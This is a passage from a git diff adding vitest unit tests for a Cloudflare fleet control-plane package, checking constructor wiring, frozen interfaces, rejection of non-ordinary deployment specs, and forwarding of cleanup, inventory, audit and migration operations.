+      accountId: 'account',
+      apiToken: 'inert',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async () => Response.json({ success: true, result }),
+    });
+    await expect(client.listOrdinaryWorkerVersions('worker')).rejects.toThrow();
+  });
+  it.each([
+    { suffix: '/workers/scripts', row: {} },
+    { suffix: '/workers/scripts', row: { id: 42 } },
+    { suffix: '/workers/domains', row: {} },
+    { suffix: '/workers/domains', row: { service: 42 } },
+    { suffix: '/workers/routes', row: { script: 42 } },
+  ])('footprint refuses missing identity or association %#', async ({
+    suffix,
+    row,
+  }) => {
+    const client = new CloudflareProvisioningClient({
+      plane: 'plain-worker',
+      accountId: 'account',
+      apiToken: 'inert',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const url = new URL(new Request(input, init).url);
+        if (url.pathname.endsWith(suffix)) return envelope([row]);
+        return zoneAuthorityResponse(url, ['zone-1'], []) ?? envelope([]);
+      },
+    });
+    await expect(
+      client.inspectOrdinaryWorkerFootprint('worker'),
+    ).rejects.toThrow();
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-control-plane.test.ts b/packages/fleet-control/test/cloudflare-control-plane.test.ts
new file mode 100644
index 00000000..6e26c238
--- /dev/null
+++ b/packages/fleet-control/test/cloudflare-control-plane.test.ts
@@ -0,0 +1,1001 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { D1Database, R2Bucket } from '@cloudflare/workers-types';
+import { beforeEach, describe, expect, it, vi } from 'vitest';
+import { advanceCleanupDeployment } from '../src/cleanup-advance.js';
+import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js';
+import { cloudflareFleetInventoryContext } from '../src/cloudflare-client.js';
+import {
+  type CloudflareAdvanceFleetAuditOptions,
+  type CloudflareAdvanceFleetMigrationOptions,
+  type CloudflareControlPlaneOptions,
+  type CloudflareDeploymentSpec,
+  createCloudflareControlPlane,
+  D1CloudflareApiRateCoordinator,
+  D1FleetStateDatabase,
+  ProvisioningError,
+  R2DatabaseExportStore,
+} from '../src/cloudflare-control-plane.js';
+import { D1FleetInventoryRunStore } from '../src/d1-fleet-inventory-run-store.js';
+import { D1FleetOperationStore } from '../src/d1-fleet-operation-store.js';
+import { advanceDecommissionDeployment } from '../src/decommission-advance.js';
+import {
+  abandonFleetAuditOperation,
+  advanceFleetAudit,
+  readFleetAuditFindingsPage,
+} from '../src/fleet-audit-advance.js';
+import {
+  advanceFleetInventory,
+  readFleetInventoryGeneration,
+} from '../src/fleet-inventory-advance.js';
+import {
+  canonicalFleetInventoryRunOptions,
+  emptyFleetInventoryRowCounts,
+  type FleetInventoryProviderContext,
+  type FleetInventoryStageInput,
+} from '../src/fleet-inventory-state.js';
+import {
+  abandonFleetMigrationOperation,
+  advanceFleetMigration,
+  readFleetMigrationItemsPage,
+} from '../src/fleet-migration-advance.js';
+import { provisionDeployment } from '../src/provision.js';
+import { D1FleetStateStore } from '../src/state-store.js';
+import type { FleetRecord } from '../src/types.js';
+import {
+  initialSpec,
+  routeAttestation,
+  sharedSecrets,
+} from './fixtures/plain-worker-harnesses.js';
+import { nodeWorkerStreams } from './fixtures/worker-streams.js';
+
+const constructed = vi.hoisted(() => ({
+  database: vi.fn(),
+  fleetStore: vi.fn(),
+  inventoryStore: vi.fn(),
+  operationStore: vi.fn(),
+  quota: vi.fn(),
+  client: vi.fn(),
+  backend: vi.fn(),
+}));
+
+vi.mock('../src/d1-fleet-state-database.js', async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import('../src/d1-fleet-state-database.js')>();
+  return {
+    ...actual,
+    D1FleetStateDatabase: class extends actual.D1FleetStateDatabase {
+      constructor(
+        ...args: ConstructorParameters<typeof actual.D1FleetStateDatabase>
+      ) {
+        super(...args);
+        constructed.database(this, ...args);
+      }
+    },
+  };
+});
+vi.mock('../src/state-store.js', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../src/state-store.js')>();
+  return {
+    ...actual,
+    D1FleetStateStore: class extends actual.D1FleetStateStore {
+      constructor(
+        ...args: ConstructorParameters<typeof actual.D1FleetStateStore>
+      ) {
+        super(...args);
+        constructed.fleetStore(this, ...args);
+      }
+    },
+  };
+});
+vi.mock('../src/d1-fleet-inventory-run-store.js', async (importOriginal) => {
+  const actual =
+    await importOriginal<
+      typeof import('../src/d1-fleet-inventory-run-store.js')
+    >();
+  return {
+    ...actual,
+    D1FleetInventoryRunStore: class extends actual.D1FleetInventoryRunStore {
+      constructor(
+        ...args: ConstructorParameters<typeof actual.D1FleetInventoryRunStore>
+      ) {
+        super(...args);
+        constructed.inventoryStore(this, ...args);
+      }
+    },
+  };
+});
+vi.mock('../src/d1-fleet-operation-store.js', async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import('../src/d1-fleet-operation-store.js')>();
+  return {
+    ...actual,
+    D1FleetOperationStore: class extends actual.D1FleetOperationStore {
+      constructor(
+        ...args: ConstructorParameters<typeof actual.D1FleetOperationStore>
+      ) {
+        super(...args);
+        constructed.operationStore(this, ...args);
+      }
+    },
+  };
+});
+vi.mock('../src/cloudflare-rate-coordinator.js', async (importOriginal) => {
+  const actual =
+    await importOriginal<
+      typeof import('../src/cloudflare-rate-coordinator.js')
+    >();
+  return {
+    ...actual,
+    D1CloudflareApiRateCoordinator: class extends actual.D1CloudflareApiRateCoordinator {
+      constructor(
+        ...args: ConstructorParameters<
+          typeof actual.D1CloudflareApiRateCoordinator
+        >
+      ) {
+        super(...args);
+        constructed.quota(this, ...args);
+      }
+    },
+  };
+});
+vi.mock('../src/cloudflare-client.js', async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import('../src/cloudflare-client.js')>();
+  return {
+    ...actual,
+    CloudflareProvisioningClient: class extends actual.CloudflareProvisioningClient {
+      constructor(
+        ...args: ConstructorParameters<
+          typeof actual.CloudflareProvisioningClient
+        >
+      ) {
+        super(...args);
+        constructed.client(this, ...args);
+      }
+    },
+    cloudflareFleetInventoryContext: vi.fn(),
+  };
+});
+vi.mock(
+  '../src/cloudflare-api-plain-worker-backend.js',
+  async (importOriginal) => {
+    const actual =
+      await importOriginal<
+        typeof import('../src/cloudflare-api-plain-worker-backend.js')
+      >();
+    return {
+      ...actual,
+      CloudflareApiPlainWorkerBackend: class extends actual.CloudflareApiPlainWorkerBackend {
+        constructor(
+          ...args: ConstructorParameters<
+            typeof actual.CloudflareApiPlainWorkerBackend
+          >
+        ) {
+          super(...args);
+          constructed.backend(this, ...args);
+        }
+      },
+    };
+  },
+);
+vi.mock('../src/provision.js', async (importOriginal) => ({
+  ...(await importOriginal<typeof import('../src/provision.js')>()),
+  provisionDeployment: vi.fn(),
+}));
+vi.mock('../src/cleanup-advance.js', async (importOriginal) => ({
+  ...(await importOriginal<typeof import('../src/cleanup-advance.js')>()),
+  advanceCleanupDeployment: vi.fn(),
+}));
+vi.mock('../src/decommission-advance.js', async (importOriginal) => ({
+  ...(await importOriginal<typeof import('../src/decommission-advance.js')>()),
+  advanceDecommissionDeployment: vi.fn(),
+}));
+vi.mock('../src/fleet-inventory-advance.js', async (importOriginal) => ({
+  ...(await importOriginal<
+    typeof import('../src/fleet-inventory-advance.js')
+  >()),
+  advanceFleetInventory: vi.fn(),
+  readFleetInventoryGeneration: vi.fn(),
+}));
+vi.mock('../src/fleet-audit-advance.js', async (importOriginal) => ({
+  ...(await importOriginal<typeof import('../src/fleet-audit-advance.js')>()),
+  advanceFleetAudit: vi.fn(),
+  readFleetAuditFindingsPage: vi.fn(),
+  abandonFleetAuditOperation: vi.fn(),
+}));
+vi.mock('../src/fleet-migration-advance.js', async (importOriginal) => ({
+  ...(await importOriginal<
+    typeof import('../src/fleet-migration-advance.js')
+  >()),
+  advanceFleetMigration: vi.fn(),
+  readFleetMigrationItemsPage: vi.fn(),
+  abandonFleetMigrationOperation: vi.fn(),
+}));
+
+const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000';
+const SPEC: CloudflareDeploymentSpec = {
+  ...initialSpec(),
+  authoredBy: 'platform',
+};
+const RECORD: FleetRecord = {
+  tenantTag: SPEC.tenantTag,
+  environment: SPEC.environment,
+  scriptName: SPEC.scriptName,
+  databaseName: SPEC.databaseName,
+  databaseId: 'database-1',
+  backend: 'plain-worker',
+  schemaVersion: SPEC.schemaVersion,
+  artifactVersion: 'artifact-1',
+  desiredSpecDigest: 'a'.repeat(64),
+  durableObjectBindings: [],
+  routeHostname: SPEC.routeHostname,
+  phase: 'ready',
+  updatedAt: '2026-09-09T00:00:00.000Z',
+};
+const TOKEN = {
+  version: 1 as const,
+  tenantTag: SPEC.tenantTag,
+  environment: SPEC.environment,
+  operationId: OPERATION_ID,
+  revision: 1,
+};
+
+function required<T>(value: T | undefined): T {
+  expect(value).toBeDefined();
+  if (value === undefined) throw new Error('missing recorded call');
+  return value;
+}
+
+function binding(): D1Database {
+  return { prepare: vi.fn(), batch: vi.fn() } as unknown as D1Database;
+}
+
+function hostOptions(): CloudflareControlPlaneOptions {
+  return {
+    accountId: 'account-1',
+    apiToken: 'provider-token',
+    fleetDatabase: binding(),
+    quotaDatabase: binding(),
+    quotaScope: 'account-token-quota',
+    databaseExports: {
+      bucket: {
+        put: vi.fn(),
+        get: vi.fn(),
+        delete: vi.fn(),
+      } as unknown as R2Bucket,
+      bucketName: 'fleet-exports',
+      streams: nodeWorkerStreams,
+      randomUUID: () => OPERATION_ID,
+    },
+    randomUUID: () => OPERATION_ID,
+  };
+}
+
+function stageInput(
+  overrides: Partial<FleetInventoryStageInput['options']> = {},
+): FleetInventoryStageInput {
+  return {
+    stage: { step: 'ordinary-scripts' },
+    options: canonicalFleetInventoryRunOptions({
+      databaseNamePrefix: 'fleet-',
+      scriptNamePrefix: 'fleet-',
+      includeDispatchNamespace: false,
+      ...overrides,
+    }),
+    progress: {
+      providerRequests: 0,
+      generation: 1,
+      revision: 0,
+      stage: { step: 'ordinary-scripts' },
+      stagedCounts: emptyFleetInventoryRowCounts(),
+      factCount: 0,
+    },
+    maxProviderRequests: 9,
+  };
+}
+
+beforeEach(() => {
+  vi.resetAllMocks();
+  vi.mocked(cloudflareFleetInventoryContext).mockImplementation(() => ({
+    advanceStage: vi.fn(async () => ({
+      rows: [],
+      facts: [],
+      nextStage: { step: 'finalize' as const },
+      providerRequests: 1,
+      diagnostics: [],
+    })),
+  }));
+});
+
+describe('Cloudflare control-plane composition with real constructors and mocked coordinator forwarding', () => {
+  it('selects ordinary client construction and concrete D1 stores with inventory pin release wiring', () => {
+    const options = {
+      ...hostOptions(),
+      leaseTtlMs: 10_000,
+      leaseRenewalIntervalMs: 1_000,
+      concurrency: 2,
+      requestTimeoutMs: 4_000,
+      fetch: vi.fn<typeof fetch>(),
+      maintenanceFetch: vi.fn<typeof fetch>(),
+      maintenanceRequestTimeoutMs: 3_000,
+      clock: () => 99,
+      plane: 'workers-for-platforms',
+      dispatchNamespace: 'forged-dispatch',
+      rateCoordinator: {},
+      exportStore: {},
+      client: {},
+      backend: {},
+      store: {},
+      inventoryStore: {},
+      operationStore: {},
+    };
+    createCloudflareControlPlane(options);
+    const [database, fleetBinding] = required(
+      constructed.database.mock.calls[0],
+    );
+    const [fleetStore, fleetAdapter, fleetOptions] = required(
+      constructed.fleetStore.mock.calls[0],
+    );
+    const [inventoryStore, inventoryAdapter, inventoryOptions] = required(
+      constructed.inventoryStore.mock.calls[0],
+    );
+    const [operationStore, operationAdapter, operationOptions] = required(
+      constructed.operationStore.mock.calls[0],
+    );
+    const [quota, quotaBinding, quotaOptions] = required(
+      constructed.quota.mock.calls[0],
+    );
+    const [client, clientOptions] = required(constructed.client.mock.calls[0]);
+    const [backend, backendOptions] = required(
+      constructed.backend.mock.calls[0],
+    );
+    expect(database).toBeInstanceOf(D1FleetStateDatabase);
+    expect(fleetBinding).toBe(options.fleetDatabase);
+    expect([fleetAdapter, inventoryAdapter, operationAdapter]).toEqual([
+      database,
+      database,
+      database,
+    ]);
+    expect(fleetStore).toBeInstanceOf(D1FleetStateStore);
+    expect(inventoryStore).toBeInstanceOf(D1FleetInventoryRunStore);
+    expect(operationStore).toBeInstanceOf(D1FleetOperationStore);
+    expect(fleetOptions).toEqual({
+      accountId: options.accountId,
+      leaseTtlMs: 10_000,
+      leaseRenewalIntervalMs: 1_000,
+    });
+    expect(inventoryOptions).toEqual(fleetOptions);
+    expect(operationOptions).toEqual({ ...fleetOptions, inventoryStore });
+    expect(quota).toBeInstanceOf(D1CloudflareApiRateCoordinator);
+    expect(quotaBinding).toBe(options.quotaDatabase);
+    expect(quotaOptions).toEqual({ quotaScope: options.quotaScope });
+    expect(clientOptions).toEqual({
+      accountId: options.accountId,
+      apiToken: options.apiToken,
+      plane: 'plain-worker',
+      rateCoordinator: quota,
+      exportStore: expect.any(R2DatabaseExportStore),
+      concurrency: 2,
+      requestTimeoutMs: 4_000,
+      fetch: options.fetch,
+    });
+    expect(backend).toBeInstanceOf(CloudflareApiPlainWorkerBackend);
+    expect(backendOptions).toEqual({
+      client,
+      fetch: options.maintenanceFetch,
+      maintenanceRequestTimeoutMs: 3_000,
+      clock: expect.any(Function),
+    });
+    expect(backendOptions.clock()).toBe(99);
+    expect(options.fleetDatabase.prepare).not.toHaveBeenCalled();
+    expect(options.quotaDatabase.prepare).not.toHaveBeenCalled();
+    expect(options.fetch).not.toHaveBeenCalled();
+    expect(options.maintenanceFetch).not.toHaveBeenCalled();
+  });
+
+  it('returns a frozen plain object without raw client, backend, or store capabilities', () => {
+    const control = createCloudflareControlPlane(hostOptions());
+    expect(Object.getPrototypeOf(control)).toBe(Object.prototype);
+    expect(Object.isFrozen(control)).toBe(true);
+    expect(Reflect.ownKeys(control).sort()).toEqual(
+      [
+        'abandonFleetAuditOperation',
+        'abandonFleetMigrationOperation',
+        'advanceCleanupDeployment',
+        'advanceDecommissionDeployment',
+        'advanceFleetAudit',
+        'advanceFleetInventory',
+        'advanceFleetMigration',
+        'getDeployment',
+        'latestFinalizedInventoryGeneration',
+        'provisionDeployment',
+        'pruneCleanupReceipts',
+        'pruneFleetOperations',
+        'pruneInventoryGenerations',
+        'readCleanupReceipt',
+        'readFleetAuditFindingsPage',
+        'readFleetInventoryGeneration',
+        'readFleetMigrationItemsPage',
+      ].sort(),
+    );
+    expect(
+      Object.values(control).every((value) => typeof value === 'function'),
+    ).toBe(true);
+    expect(() => Object.assign(control, { backend: {} })).toThrow(TypeError);
+  });
+
+  it('forces bounded failure cleanup and preserves the coordinator error and cleanup outcome', async () => {
+    const control = createCloudflareControlPlane(hostOptions());
+    const cleanup = { status: 'pending' as const, token: TOKEN };
+    const failure = new ProvisioningError(
+      'failed',
+      new Error('provider failure'),
+      [],
+      cleanup,
+    );
+    vi.mocked(provisionDeployment).mockRejectedValueOnce(failure);
+    const input = {
+      spec: SPEC,
+      secrets: sharedSecrets,
+      initialExecutionFenceState: 'open' as const,
+      routeAttestation,
+      clock: () => 100,
+      failureCleanup: 'drain',
+      backend: {},
+      store: {},
+      finalizedStateProvider: {},
+    };
+    await expect(control.provisionDeployment(input)).rejects.toBe(failure);
+    expect(failure.cleanup).toBe(cleanup);
+    const forwarded = required(vi.mocked(provisionDeployment).mock.calls[0])[0];
+    expect(forwarded).toEqual({
+      backend: required(constructed.backend.mock.calls[0])[0],
+      store: required(constructed.fleetStore.mock.calls[0])[0],
+      spec: SPEC,
+      secrets: sharedSecrets,
+      initialExecutionFenceState: 'open',
+      routeAttestation,
+      failureCleanup: 'bounded',
+      clock: expect.any(Function),
+    });
+    expect(forwarded.clock?.()).toBe(100);
+    expect(advanceCleanupDeployment).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'advanceCleanupDeployment',
+    'advanceDecommissionDeployment',
+  ] as const)('forwards %s once with captured UUID authority and call-local inputs', async (method) => {
+    const host = {
+      ...hostOptions(),
+      randomUUID() {
+        expect(this).toBe(host);
+        return OPERATION_ID;
+      },
+      clock() {
+        expect(this).toBe(host);
+        return 90;
+      },
+    };
+    const control = createCloudflareControlPlane(host);
+    const coordinator =
+      method === 'advanceCleanupDeployment'
+        ? vi.mocked(advanceCleanupDeployment)
+        : vi.mocked(advanceDecommissionDeployment);
+    const result = { status: 'pending' as const, token: TOKEN };
+    coordinator.mockResolvedValueOnce(result);
+    const action = { kind: 'continue' as const, token: TOKEN };
+    const input = {
+      spec: SPEC,
+      action,
+      maxProviderRequests: 9,
+      signal: new AbortController().signal,
+      clock() {
+        expect(this).toBe(input);
+        return 101;
+      },
+      randomUUID: () => 'forged-uuid',
+      backend: {},
+      store: {},
+    };
+    host.randomUUID = () => 'mutated-uuid';
+    host.clock = () => 999;
+    Reflect.set(host, 'fleetDatabase', binding());
+    const invoke = control[method];
+    await expect(invoke(input)).resolves.toBe(result);
+    const forwarded = required(coordinator.mock.calls[0])[0];
+    expect(forwarded).toEqual({
+      backend: required(constructed.backend.mock.calls[0])[0],
+      store: required(constructed.fleetStore.mock.calls[0])[0],
+      spec: SPEC,
+      action,
+      maxProviderRequests: 9,
+      signal: input.signal,
+      clock: expect.any(Function),
+      randomUUID: expect.any(Function),
+    });
+    expect(forwarded.randomUUID()).toBe(OPERATION_ID);
+    expect(forwarded.clock?.()).toBe(101);
+    expect(required(constructed.backend.mock.calls[0])[1].clock()).toBe(90);
+    expect(coordinator).toHaveBeenCalledTimes(1);
+  });
+
+  it('uses the runtime UUID source when the host does not provide one', async () => {
+    const options = hostOptions();
+    const control = createCloudflareControlPlane({
+      ...options,
+      randomUUID: undefined,
+    });
+    await control.advanceCleanupDeployment({
+      spec: SPEC,
+      action: { kind: 'start' },
+      maxProviderRequests: 9,
+    });
+    const randomUUID = required(
+      vi.mocked(advanceCleanupDeployment).mock.calls[0],
+    )[0].randomUUID;
+    expect(randomUUID()).toMatch(
+      /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u,
+    );
+  });
+
+  it.each([
+    { ...SPEC, authoredBy: 'external' },
+    {
+      ...SPEC,
+      durableObjectBindings: [
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          scriptName: 'state',
+          dispatchNamespace: 'platform',
+        },
+      ],
+    },
+  ])('rejects nonordinary runtime specifications before lifecycle forwarding', async (invalid) => {
+    const control = createCloudflareControlPlane(hostOptions());
+    const spec = invalid as CloudflareDeploymentSpec;
+    await expect(
+      control.provisionDeployment({
+        spec,
+        secrets: sharedSecrets,
+        initialExecutionFenceState: 'open',
+      }),
+    ).rejects.toThrow(TypeError);
+    await expect(
+      control.advanceCleanupDeployment({
+        spec,
+        action: { kind: 'start' },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toThrow(TypeError);
+    await expect(
+      control.advanceDecommissionDeployment({
+        spec,
+        action: { kind: 'start' },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toThrow(TypeError);
+    expect(provisionDeployment).not.toHaveBeenCalled();
+    expect(advanceCleanupDeployment).not.toHaveBeenCalled();
+    expect(advanceDecommissionDeployment).not.toHaveBeenCalled();
+  });
+
+  it('creates an inventory context per invocation and strips dispatch and host-routing start options', async () => {
+    const control = createCloudflareControlPlane(hostOptions());
+    const result = {
+      status: 'pending' as const,
+      token: { version: 1 as const, operationId: OPERATION_ID, revision: 1 },
+    };
+    vi.mocked(advanceFleetInventory).mockResolvedValue(result);
+    const input = {
+      action: {
+        kind: 'start' as const,
+        operationId: OPERATION_ID,
+        options: {
+          databaseNamePrefix: 'fleet-',
+          scriptNamePrefix: 'fleet-',
+          includeR2Buckets: true,
+          includeDispatchNamespace: true,
+          hostRoutingKvId: 'root-hosts',
+        },
+      },
+      maxProviderRequests: 9,
+      maxStagedRowsPerChunk: 13,
+      signal: new AbortController().signal,
+      context: {},
+      store: {},
+    };
+    await expect(control.advanceFleetInventory(input)).resolves.toBe(result);
+    await control.advanceFleetInventory({
+      ...input,
+      action: { kind: 'continue', token: result.token },
+    });
+    const first = required(vi.mocked(advanceFleetInventory).mock.calls[0])[0];
+    const second = required(vi.mocked(advanceFleetInventory).mock.calls[1])[0];
+    expect(first).toEqual({
+      context: { advanceStage: expect.any(Function) },
+      store: required(constructed.inventoryStore.mock.calls[0])[0],
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: {
+          databaseNamePrefix: 'fleet-',
+          scriptNamePrefix: 'fleet-',
+          includeR2Buckets: true,
+          includeDispatchNamespace: false,
+        },
+      },
+      maxProviderRequests: 9,
+      maxStagedRowsPerChunk: 13,
+      signal: input.signal,
+    });
+    expect(first.context).not.toBe(second.context);
+    expect(second.action).toEqual({ kind: 'continue', token: result.token });
+    expect(cloudflareFleetInventoryContext).toHaveBeenCalledTimes(2);
+    expect(
+      required(vi.mocked(cloudflareFleetInventoryContext).mock.results[0])
+        .value,
+    ).not.toBe(
+      required(vi.mocked(cloudflareFleetInventoryContext).mock.results[1])
+        .value,
+    );
+    expect(cloudflareFleetInventoryContext).toHaveBeenNthCalledWith(
+      1,
+      required(constructed.client.mock.calls[0])[0],
+    );
+    expect(cloudflareFleetInventoryContext).toHaveBeenNthCalledWith(
+      2,
+      required(constructed.client.mock.calls[0])[0],
+    );
+  });
+
+  it.each([
+    { includeDispatchNamespace: true },
+    { hostRoutingKvId: 'root-hosts' },
+  ])('rejects canonical persisted foreign-plane options at the stage boundary', async (options) => {
+    const control = createCloudflareControlPlane(hostOptions());
+    await control.advanceFleetInventory({
+      action: { kind: 'continue', token: { opaque: true } },
+      maxProviderRequests: 9,
+    });
+    const forwarded = required(
+      vi.mocked(advanceFleetInventory).mock.calls[0],
+    )[0];
+    await expect(
+      forwarded.context.advanceStage(stageInput(options)),
+    ).rejects.toThrow('cannot advance dispatch or host-routing inventory');
+    const providerContext = required(
+      vi.mocked(cloudflareFleetInventoryContext).mock.results[0],
+    ).value as FleetInventoryProviderContext;
+    expect(providerContext.advanceStage).not.toHaveBeenCalled();
+  });
+
+  it('preserves the private provider context receiver for ordinary stage advancement', async () => {
+    const context: FleetInventoryProviderContext = {
+      async advanceStage(input) {
+        expect(this).toBe(context);
+        expect(input.options.includeDispatchNamespace).toBe(false);
+        return {
+          rows: [],
+          facts: [],
+          nextStage: { step: 'finalize' as const },
+          providerRequests: 1,
+          diagnostics: [],
+        };
+      },
+    };
+    vi.mocked(cloudflareFleetInventoryContext).mockReturnValue(context);
+    const control = createCloudflareControlPlane(hostOptions());
+    await control.advanceFleetInventory({
+      action: { kind: 'continue', token: TOKEN },
+      maxProviderRequests: 9,
+    });
+    const forwarded = required(
+      vi.mocked(advanceFleetInventory).mock.calls[0],
+    )[0];
+    await expect(
+      forwarded.context.advanceStage(stageInput()),
+    ).resolves.toMatchObject({ providerRequests: 1 });
+  });
+
+  it('forwards audit callbacks with captured receivers and rejects nonordinary callback specs and records', async () => {
+    const control = createCloudflareControlPlane(hostOptions());
+    let resolvedSpec = SPEC;
+    const input: CloudflareAdvanceFleetAuditOptions = {
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        records: [RECORD],
+        staleAfterMs: 100,
+      },
+      specFor(record) {
+        expect(this).toBe(input);
+        expect(record).toBe(RECORD);
+        return resolvedSpec;
+      },
+      maintenanceSecretFor(record) {
+        expect(this).toBe(input);
+        expect(record).toBe(RECORD);
+        return sharedSecrets.maintenanceAdmin;
+      },
+      auditClock() {
+        expect(this).toBe(input);
+        return 200;
+      },
+      authorityClock() {
+        expect(this).toBe(input);
+        return 201;
+      },
+      maxItemsPerCall: 11,
+      signal: new AbortController().signal,
+    };
+    Reflect.set(input, 'backendFor', () => ({}));
+    await control.advanceFleetAudit(input);
+    const forwarded = required(vi.mocked(advanceFleetAudit).mock.calls[0])[0];
+    expect(forwarded.backendFor(RECORD)).toBe(
+      required(constructed.backend.mock.calls[0])[0],
+    );
+    expect(() =>
+      forwarded.backendFor({ ...RECORD, backend: 'workers-for-platforms' }),
+    ).toThrow('requires plain-worker records');
+    expect(forwarded.specFor(RECORD)).toBe(SPEC);
+    expect(forwarded.maintenanceSecretFor(RECORD)).toBe(
+      sharedSecrets.maintenanceAdmin,
+    );
+    expect(forwarded.auditClock?.()).toBe(200);
+    expect(forwarded.authorityClock?.()).toBe(201);
+    expect(forwarded).toMatchObject({
+      operationStore: required(constructed.operationStore.mock.calls[0])[0],
+      inventoryStore: required(constructed.inventoryStore.mock.calls[0])[0],
+      fleetStore: required(constructed.fleetStore.mock.calls[0])[0],
+      action: input.action,
+      maxItemsPerCall: 11,
+      signal: input.signal,
+    });
+    Reflect.set(input, 'specFor', () => {
+      throw new Error('mutated callback');
+    });
+    expect(forwarded.specFor(RECORD)).toBe(SPEC);
+    resolvedSpec = {
+      ...SPEC,
+      authoredBy: 'external',
+    } as unknown as CloudflareDeploymentSpec;
+    expect(() => forwarded.specFor(RECORD)).toThrow(
+      'requires platform-authored specifications',
+    );
+  });
+
+  it('forwards migration callbacks with captured receivers and no backend-switch provider', async () => {
+    const control = createCloudflareControlPlane(hostOptions());
+    let resolvedSpec = SPEC;
+    const settlement = { settle: vi.fn(async () => {}) };
+    const controller = new AbortController();
+    const completions: unknown[] = [];
+    const completionResult = {
+      operationId: OPERATION_ID,
+      itemCount: 1,
+      completedItemCount: 1,
+      finalizedAtMs: 900,
+    };
+    const input: CloudflareAdvanceFleetMigrationOptions = {
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        records: [RECORD],
+        canaryTenantTags: [],
+      },
+      specFor(record) {
+        expect(this).toBe(input);
+        expect(record).toBe(RECORD);
+        return resolvedSpec;
+      },
+      secretsFor(record) {
+        expect(this).toBe(input);
+        expect(record).toBe(RECORD);
+        return sharedSecrets;
+      },
+      settlementFor(record) {
+        expect(this).toBe(input);
+        expect(record).toBe(RECORD);
+        return settlement;
+      },
+      clock() {
+        expect(this).toBe(input);
+        return 300;
+      },
+      routeAttestation,
+      signal: controller.signal,
+      onComplete(result) {
+        expect(this).toBe(input);
+        completions.push(result);
+      },
+    };
+    Reflect.set(input, 'finalizedStateProviderFor', () => ({}));
+    Reflect.set(input, 'backendFor', () => ({}));
+    await control.advanceFleetMigration(input);
+    const forwarded = required(
+      vi.mocked(advanceFleetMigration).mock.calls[0],
+    )[0];
+    expect(forwarded.backendFor(RECORD)).toBe(
+      required(constructed.backend.mock.calls[0])[0],
+    );
+    expect(() =>
+      forwarded.backendFor({ ...RECORD, backend: 'workers-for-platforms' }),
+    ).toThrow('requires plain-worker records');
+    expect(forwarded.specFor(RECORD)).toBe(SPEC);
+    expect(forwarded.secretsFor(RECORD)).toBe(sharedSecrets);
+    expect(forwarded.settlementFor?.(RECORD)).toBe(settlement);
+    expect(forwarded.clock?.()).toBe(300);
+    expect(forwarded.routeAttestation).toBe(routeAttestation);
+    expect(forwarded.signal).toBe(controller.signal);
+    await forwarded.onComplete?.(completionResult);
+    expect(completions).toEqual([completionResult]);
+    expect(completions[0]).toBe(completionResult);
+    expect(forwarded).not.toHaveProperty('finalizedStateProviderFor');
+    expect(forwarded).toMatchObject({
+      operationStore: required(constructed.operationStore.mock.calls[0])[0],
+      fleetStore: required(constructed.fleetStore.mock.calls[0])[0],
+      action: input.action,
+    });
+    Reflect.set(input, 'specFor', () => {
+      throw new Error('mutated callback');
+    });
+    Reflect.set(input, 'onComplete', () => {
+      throw new Error('mutated callback');
+    });
+    expect(forwarded.specFor(RECORD)).toBe(SPEC);
+    await forwarded.onComplete?.(completionResult);
+    expect(completions).toEqual([completionResult, completionResult]);
+    resolvedSpec = {
+      ...SPEC,
+      durableObjectBindings: [
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          scriptName: 'state',
+          dispatchNamespace: 'platform',
+        },
+      ],
+    } as unknown as CloudflareDeploymentSpec;
+    expect(() => forwarded.specFor(RECORD)).toThrow(
+      'cannot use dispatch namespace bindings',
+    );
+  });
+
+  it('forwards page reads and abandonment with the private stores', async () => {
+    const control = createCloudflareControlPlane(hostOptions());
+    const page = {
+      operationId: OPERATION_ID,
+      afterOrdinal: 4,
+      limit: 10,
+      store: {},
+    };
+    const selectedPage = {
+      operationId: OPERATION_ID,
+      afterOrdinal: 4,
+      limit: 10,
+    };
+    const auditResult = { findings: [], done: true as const };
+    const migrationResult = { items: [], done: true };
+    vi.mocked(readFleetAuditFindingsPage).mockResolvedValueOnce(auditResult);
+    vi.mocked(readFleetMigrationItemsPage).mockResolvedValueOnce(
+      migrationResult,
+    );
+    await expect(control.readFleetAuditFindingsPage(page)).resolves.toBe(
+      auditResult,
+    );
+    await expect(control.readFleetMigrationItemsPage(page)).resolves.toBe(
+      migrationResult,
+    );
+    await control.readFleetInventoryGeneration(7);
+    await control.abandonFleetAuditOperation(OPERATION_ID);
+    await control.abandonFleetMigrationOperation(OPERATION_ID);
+    const operationStore = required(
+      constructed.operationStore.mock.calls[0],
+    )[0];
+    const inventoryStore = required(
+      constructed.inventoryStore.mock.calls[0],
+    )[0];
+    expect(readFleetAuditFindingsPage).toHaveBeenCalledExactlyOnceWith(
+      operationStore,
+      selectedPage,
+    );
+    expect(readFleetMigrationItemsPage).toHaveBeenCalledExactlyOnceWith(
+      operationStore,
+      selectedPage,
+    );
+    expect(readFleetInventoryGeneration).toHaveBeenCalledExactlyOnceWith(
+      inventoryStore,
+      7,
+    );
+    expect(abandonFleetAuditOperation).toHaveBeenCalledExactlyOnceWith({
+      operationStore,
+      inventoryStore,
+      operationId: OPERATION_ID,
+    });
+    expect(abandonFleetMigrationOperation).toHaveBeenCalledExactlyOnceWith({
+      operationStore,
+      operationId: OPERATION_ID,
+    });
+  });
+
+  it('preserves store receivers for deployment reads and bounded retention', async () => {
+    const control = createCloudflareControlPlane(hostOptions());
+    const fleetStore = required(
+      constructed.fleetStore.mock.calls[0],
+    )[0] as D1FleetStateStore;
